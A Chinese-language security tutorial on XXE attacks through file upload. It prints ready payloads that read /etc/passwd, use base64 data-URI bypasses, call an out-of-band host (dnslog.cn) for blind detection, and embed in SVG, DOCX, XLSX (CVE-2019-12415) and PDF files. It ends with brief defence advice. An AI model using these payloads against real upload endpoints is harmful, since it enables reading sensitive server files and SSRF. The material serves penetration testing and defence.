XXE 在文件上传当中的应用
字数 948 2025-08-19 12:41:39
XXE在文件上传中的应用详解
1. XXE基础概念
XXE (XML External Entity) 攻击是一种利用XML解析器处理外部实体时的漏洞进行攻击的技术。攻击者可以通过构造恶意的XML文档,读取服务器上的敏感文件、发起SSRF攻击或执行其他恶意操作。
2. 有回显的XXE攻击
2.1 基本利用方式
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM 'file:///etc/passwd'>
]>
<root>&test;</root>
2.2 Base64绕过方式
<!DOCTYPE test [
<!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk">
%init;
]>
<foo/>
3. 无回显的XXE攻击
3.1 基本利用方式
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://dnslog.cn">
%ext;
]>
<r></r>
或
<!DOCTYPE root [
<!ENTITY test SYSTEM 'http://dnslog.cn'>
]>
<root>&test;</root>
3.2 Base64绕过方式
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "data://text/plain;base64,aHR0cDovL2Ruc2xvZy5jbg==">
%ext;
]>
<r></r>
4. 文件上传中的XXE利用
4.1 SVG格式中的XXE
SVG文件本质上是XML文件,可以包含XXE payload:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "http://dnslog.cn" >
]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
4.2 DOCX格式中的XXE
DOCX文件实际上是ZIP压缩包,包含多个XML文件。可以使用工具自动注入XXE payload:
推荐工具:whitel1st/docem - 一个在docx、odt、pptx、xlsx文件中嵌入XXE和XSS payload的工具。
4.3 Excel格式中的XXE
Excel文件可能通过以下方式解析XML:
- Apache POI解析器
- CVE-2014-3529:可直接使用docem工具生成payload
- CVE-2019-12415:需要编辑xmlMaps.xml文件
对于CVE-2019-12415,可在xmlMaps.xml文件中插入:
<xsd:redefine schemaLocation="http://dnslog.cn/"></xsd:redefine>
4.4 PDF格式中的XXE
某些PDF文件包含XML标签,可以尝试插入无回显的XXE payload。
4.5 压缩文件中的XXE
- 压缩文件中必须包含XML文件
- 上传压缩文件后,在Burp Suite中抓包修改,插入XXE payload
5. 防御建议
- 禁用XML外部实体解析
- 对上传文件进行严格的内容检查
- 使用白名单验证文件类型
- 对XML解析器进行安全配置
6. 总结
在渗透测试中,应重点关注文件上传功能点,特别是:
- 任何包含XML标签的文件格式
- 支持SVG、DOCX、XLSX、PDF等格式的文件上传
- 使用压缩文件上传的场景
参考来源:blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf